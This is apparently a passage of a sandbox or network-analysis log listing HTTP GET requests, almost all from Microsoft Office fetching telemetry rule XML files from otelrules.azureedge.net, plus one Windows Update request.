Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+7vLtpV9PoSKS8u&MD=7veRZGpl HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
